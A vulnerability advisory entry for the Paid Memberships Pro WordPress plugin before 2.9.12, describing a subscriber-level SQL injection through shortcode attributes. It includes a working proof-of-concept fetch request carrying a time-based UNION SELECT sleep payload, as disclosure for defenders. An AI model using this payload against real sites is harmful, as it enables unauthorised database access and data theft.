WordPress Plugin Vulnerabilities

Paid Memberships Pro < 2.9.12 - Subscriber+ SQL Injection

Description

The plugin does not prevent subscribers from rendering shortcodes that concatenate attributes directly into an SQL query.

Proof of Concept

While logged in as a subscriber, send the following request:

(await fetch('/wp-admin/admin-ajax.php',{method:'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'action=parse-media-shortcode&shortcode=[membership delay="Y" levels="(-1)) UNION SELECT sleep(10)-- ,L"]'})).text()

If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.

Affects Plugins

Fixed in 2.9.12

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Marc Montpas
Submitter
Marc Montpas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-27 (about 1 years ago)
Added
2023-02-27 (about 1 years ago)
Last Updated
2023-02-27 (about 1 years ago)

Other